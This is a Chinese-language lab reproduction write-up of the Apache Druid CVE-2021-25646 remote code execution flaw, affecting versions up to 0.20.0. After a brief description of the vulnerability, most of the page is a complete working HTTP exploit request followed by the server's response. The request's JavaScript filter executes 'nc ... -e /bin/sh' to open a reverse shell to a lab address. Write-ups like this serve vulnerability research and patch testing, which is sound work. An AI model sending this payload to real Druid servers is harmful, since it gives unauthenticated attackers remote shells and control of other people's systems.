Apache Druid CVE-2021-25646复现

一、漏洞描述

Apache Druid是一个高性能的实时分析型数据库,旨在对大型数据集进行快速的查询分析(”OLAP“查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。

Apache Druid本身默认是未开启授权认证就可以访问页面的,而该漏洞成因是由于一个druid中全局性的问题,开发者在使用Jackson相关的标签时,出现疏漏,使得攻击者可以构造传入的json串来控制一些敏感的参数,从而导致攻击者未授权RCE。

影响版本:Apache Druid <= 0.20.0

二、漏洞复现

参考https://c.wgpsec.org/p/10042搭建环境并复现

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.111.130:8888
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 26 Jan 2020 01:34:18 GMT
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1008

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.111.130 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

HTTP/1.1 200 OK
Connection: close
Date: Wed, 03 Feb 2021 02:12:09 GMT
Date: Wed, 03 Feb 2021 02:12:09 GMT
Content-Type: application/json
Vary: Accept-Encoding, User-Agent
Server: Jetty(9.4.12.v20180830)
Content-Length: 46

{"numRowsRead":0,"numRowsIndexed":0,"data":[]}

image-20210203102551148

image-20210203102607810

三、参考链接

https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

https://c.wgpsec.org/p/10042